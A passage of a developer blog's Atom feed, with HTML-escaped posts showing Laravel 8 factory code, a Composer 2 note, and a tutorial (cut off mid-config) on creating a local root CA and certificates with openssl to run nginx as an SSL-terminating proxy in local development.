      &lt;span class=&quot;k&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$model&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

      &lt;span class=&quot;cd&quot;&gt;/**
       * Define the model's default state.
       *
       * @return array
       */&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;definition&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
              &lt;span class=&quot;s1&quot;&gt;'name'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;faker&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
              &lt;span class=&quot;s1&quot;&gt;'email'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;faker&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;unique&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;safeEmail&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
              &lt;span class=&quot;s1&quot;&gt;'email_verified_at'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
              &lt;span class=&quot;s1&quot;&gt;'password'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'not a real password'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
              &lt;span class=&quot;s1&quot;&gt;'remember_token'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Str&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// Old way&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;factory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;App\User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;make&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// Nwe way&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;factory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;make&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;composer-2&quot;&gt;Composer 2&lt;/h2&gt;

&lt;p&gt;Composer version 2 is &lt;a href=&quot;https://blog.packagist.com/composer-2-0-is-now-available/&quot;&gt;now available&lt;/a&gt;!
It’s most anticipated feature being a massive preformance improvement:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/composer-2-speed-improvements.png&quot; alt=&quot;Composer 2 Performance Improvements&quot; /&gt;&lt;/p&gt;</content><author><name></name></author><category term="brisphp" /><category term="brisphp" /><category term="php" /><category term="news" /><summary type="html">I co-organise the BrisPHP Meetup and at the start of every meetup I give a quick talk on recent news and other interesting things that have been happening in the PHP world. This issue is all about PHP 8.0, Laravel 8 and Composer 2.</summary></entry><entry><title type="html">Using Nginx like an AWS load balancer in local dev</title><link href="https://ndench.github.io/nginx/nginx-as-aws-alb-local-dev" rel="alternate" type="text/html" title="Using Nginx like an AWS load balancer in local dev" /><published>2020-09-30T00:00:00+10:00</published><updated>2020-09-30T00:00:00+10:00</updated><id>https://ndench.github.io/nginx/nginx-as-aws-alb-local-dev</id><content type="html" xml:base="https://ndench.github.io/nginx/nginx-as-aws-alb-local-dev">&lt;p&gt;A typical production web application is set up behind a load balancer, with the SSL connection
terminating at the load balancer. The web server then has an nginx reverse proxy accepting a
plain HTTP connection and proxying through to the application.&lt;/p&gt;

&lt;p&gt;Without having a load balancer in your local development environment, the nginx setup is the 
same, but the application is accessed over a HTTP connection. This creates a separation
between production and development which can become a problem. Especially if you’re building
an integration which requires the application be served over a HTTPS connection.&lt;/p&gt;

&lt;p&gt;In this post, we’ll add another nginx reverse proxy in the front which will accept and
terminate the SSL connection.&lt;/p&gt;

&lt;h2 id=&quot;creating-the-ssl-certificate&quot;&gt;Creating the SSL certificate&lt;/h2&gt;

&lt;p&gt;Creating a self signed certificate is easy, however some tools will still not trust it even
if you add it as a trusted root certificate. To get around this, we have to create a root 
Certificate Authority (CA) which we will use to sign our SSL certificate. Once we add the
root CA certificate to our system, then everything will trust our SSL certificate.&lt;/p&gt;

&lt;p&gt;You can use the following script to create the root CA and private encryption keys.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;create_root_cert_and_key.sh&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;##########################################################################&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Create a root CA certificate that devs can add as trusted.&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# We use this root certificate to create other ssl certificates which are&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# not &quot;self signed&quot;.&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Adapted from https://stackoverflow.com/a/43666288/1393498&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;##########################################################################&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; rootCA.pem &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'rootCA.pem already exists!'&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exit
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;fi

if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; rootCA.key &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'rootCA.key already exists!'&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exit
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;fi

if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; certificate.key &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'certificate.key already exists!'&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exit
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Create the root CA's private key and certificate&lt;/span&gt;
openssl genrsa &lt;span class=&quot;nt&quot;&gt;-out&lt;/span&gt; rootCA.key 2048
openssl req &lt;span class=&quot;nt&quot;&gt;-x509&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-new&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-nodes&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-key&lt;/span&gt; rootCA.key &lt;span class=&quot;nt&quot;&gt;-sha256&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-days&lt;/span&gt; 1024 &lt;span class=&quot;nt&quot;&gt;-out&lt;/span&gt; rootCA.pem

&lt;span class=&quot;c&quot;&gt;# Create a private key to be used to sign other certificates&lt;/span&gt;
openssl genrsa &lt;span class=&quot;nt&quot;&gt;-out&lt;/span&gt; certificate.key 2048

&lt;span class=&quot;nb&quot;&gt;echo
echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;###################################################################&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;Done!
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;###################################################################&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;You can generate new certificates with create_cert_for_domain.sh&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Be sure to add the generated rootCA as trusted to your system&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo
echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;For Mac:&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;    sudo security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain rootCA.pem&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo
echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;For Arch:&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;    sudo trust anchor --store rootCA.pem&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo
echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;For Ubuntu:&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;    sudo cp rootCA.pem /usr/local/share/ca-certificates/myRootCA.crt&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;    sudo update-ca-certificates&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running this script will generate:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rootCA.key&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;your root CA private encryption key&lt;/li&gt;
      &lt;li&gt;used to sign SSL certificates&lt;/li&gt;
      &lt;li&gt;must be kept a &lt;em&gt;secret&lt;/em&gt;&lt;/li&gt;
      &lt;li&gt;anyone with access to this can serve you any content over HTTPS, and your system will trust it&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rootCA.pem&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;certificate for your root CA&lt;/li&gt;
      &lt;li&gt;will be added to your system as a trusted root CA&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;certificate.key&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;private encryption key used for any SSL certificates you generate&lt;/li&gt;
      &lt;li&gt;must be kept a &lt;em&gt;secret&lt;/em&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You can now use the following script to create an SSL certificate for any domain.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;create_cert_for_domain.sh&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;##########################################################################&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Create an ssl certificate which is signed by our own root CA.&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# The certificate is not &quot;self signed&quot; and easier for tools to trust.&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Note: We need to add the root CA as &quot;trusted&quot; for it to work.&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Adapted from https://stackoverflow.com/a/43666288/1393498&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;##########################################################################&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; rootCA.pem &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'rootCA.pem does not exist'&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Create it with &quot;create_root_cert_and_key.sh&quot;'&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exit
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;fi

if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; rootCA.key &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'rootCA.key does not exist'&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Create it with &quot;create_root_cert_and_key.sh&quot;'&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exit
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;fi

if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; certificate.key &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'certificate.key does not exist'&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Create it with &quot;create_root_cert_and_key.sh&quot;'&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exit
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;fi

if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-z&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Please supply a subdomain to create a certificate for&quot;&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;e.g. www.mysite.com&quot;&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exit
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;fi

&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DOMAIN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;SUBJECT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/C=CA/ST=None/L=NB/O=None/CN=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DOMAIN&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;NUM_OF_DAYS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;825
&lt;span class=&quot;nv&quot;&gt;EXT_FILE_PATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/tmp/__v3.ext

&lt;span class=&quot;c&quot;&gt;# An extension is used to pass metadata into the certificate&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# It specifies the subjectAltName, # which is required by some &lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# tools in order to trust the certificate (eg. Chrome)&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;EXT_FILE_PATH&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = @alt_names

[alt_names]
DNS.1 = &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DOMAIN&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
DNS.2 = *.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DOMAIN&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# Create the certificate and the certificate signing request&lt;/span&gt;
openssl req &lt;span class=&quot;nt&quot;&gt;-new&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-newkey&lt;/span&gt; rsa:2048 &lt;span class=&quot;nt&quot;&gt;-sha256&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-nodes&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-key&lt;/span&gt; certificate.key &lt;span class=&quot;nt&quot;&gt;-subj&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$SUBJECT&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-out&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DOMAIN&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;.csr

&lt;span class=&quot;c&quot;&gt;# Sign the certificate as the root CA&lt;/span&gt;
openssl x509 &lt;span class=&quot;nt&quot;&gt;-req&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-in&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DOMAIN&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;.csr &lt;span class=&quot;nt&quot;&gt;-CA&lt;/span&gt; rootCA.pem &lt;span class=&quot;nt&quot;&gt;-CAkey&lt;/span&gt; rootCA.key &lt;span class=&quot;nt&quot;&gt;-CAcreateserial&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-out&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DOMAIN&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;.crt &lt;span class=&quot;nt&quot;&gt;-days&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;NUM_OF_DAYS&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sha256&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-extfile&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;EXT_FILE_PATH&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;echo
echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;###################################################################&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;Done!
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;###################################################################&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;To use these files on your server, simply copy both &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DOMAIN&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.csr&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;and certificate.key to your webserver (Nginx example)&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo
echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;    ssl_certificate /etc/ssl/certs/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DOMAIN&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.crt;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;    ssl_certificate_key /etc/ssl/private/certificate.key;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running this script with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt; will generate:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com.csr&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;a Certificate Signing Request&lt;/li&gt;
      &lt;li&gt;used to sign &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com.crt&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;this step would be skipped if you used a self-signed certificate&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com.crt&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;your SSL certificate, signed by your root CA&lt;/li&gt;
      &lt;li&gt;your root CA is not trusted yet, so it still will not work&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;set-up-nginx-like-an-aws-load-balancer&quot;&gt;Set up nginx like an AWS load balancer&lt;/h2&gt;

&lt;p&gt;When behind an AWS load balancer, you’ll want your nginx configuration to look like this:
(see my post on &lt;a href=&quot;/aws/https-redirects-aws-lb&quot;&gt;setting up https redirects in AWS&lt;/a&gt;
for more details on this)&lt;/p&gt;

&lt;div class=&quot;language-nginx highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kn&quot;&gt;listen&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kn&quot;&gt;server_name&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kn&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$http_x_forwarded_proto&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;http&quot;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
